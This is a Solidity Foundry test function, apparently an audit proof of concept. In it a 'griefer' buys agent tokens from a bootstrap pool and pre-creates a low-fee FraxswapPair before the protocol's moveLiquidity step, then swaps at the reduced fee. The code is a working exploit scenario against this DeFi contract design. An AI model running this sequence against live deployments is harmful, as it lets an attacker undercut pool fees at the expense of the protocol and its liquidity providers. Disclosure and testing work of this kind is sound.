 function test_low_fee() public {

        setUpFraxtal(12_918_968);
        address whale = 0x00160baF84b3D2014837cc12e838ea399f8b8478;
        uint256 targetCCYLiquidity = 6_100_000e18;
        factory = new AgentFactory(currencyToken, 0);
        factory.setAgentBytecode(type(Agent).creationCode);
        factory.setGovenerBytecode(type(TokenGovernor).creationCode);
        factory.setLiquidityManagerBytecode(type(LiquidityManager).creationCode);
        //factory.setTargetCCYLiquidity(1000e18);
        factory.setInitialPrice(0.1e18);
        vm.startPrank(whale);
        currencyToken.approve(address(factory), 1e18);
        agent = factory.createAgent("AIAgent", "AIA", "https://example.com", 0);
        token = agent.token();

        // Buy from the bootstrap pool
        manager = LiquidityManager(factory.agentManager(address(agent)));
        bootstrapPool = manager.bootstrapPool();
        currencyToken.approve(address(bootstrapPool), 10_000_000e18);
        bootstrapPool.buy(6_000_000e18);

vm.stopPrank();

        // the above code is setup()

// griefer buys from `BootstrapPool` to get minimum liquidity required to create a pool
        address _griefer = makeAddr("griefer");

        deal(address(currencyToken), _griefer, 1000 ether);

        vm.deal(_griefer, 10 ether);
        vm.startPrank(_griefer);

        currencyToken.approve(address(bootstrapPool), 10 ether);

        uint256 tknamt = bootstrapPool.buy(5 ether);

//griefer creates `FraxSwapPair`

        IFraxswapPair fraxswapPair =
            IFraxswapPair(manager.fraxswapFactory().createPair(address(currencyToken), address(token), 1)); // Fee set here
        currencyToken.transfer(address(fraxswapPair), 5 ether);
        token.transfer(address(fraxswapPair), tknamt);
        fraxswapPair.mint(address(_griefer));

// Move liquidity
        manager.moveLiquidity();
       
        // Swap from the Fraxswap pool

        //token(0) is AI token
       //token(1) is currency token
       // griefer swaps 1 ether worth of his currency token for AI token
        fraxswapPair = IFraxswapPair(manager.fraxswapFactory().getPair(address(currencyToken), address(token)));
        uint256 amountOut = fraxswapPair.getAmountOut(1e18, address(currencyToken));
        currencyToken.transfer(address(fraxswapPair), 1e18);
        if (fraxswapPair.token0() == address(currencyToken)) {
            fraxswapPair.swap(0, amountOut, address(_griefer), "");
        } else {
            fraxswapPair.swap(amountOut, 0, address(_griefer), "");
        }
              
        vm.stopPrank();
    
 }
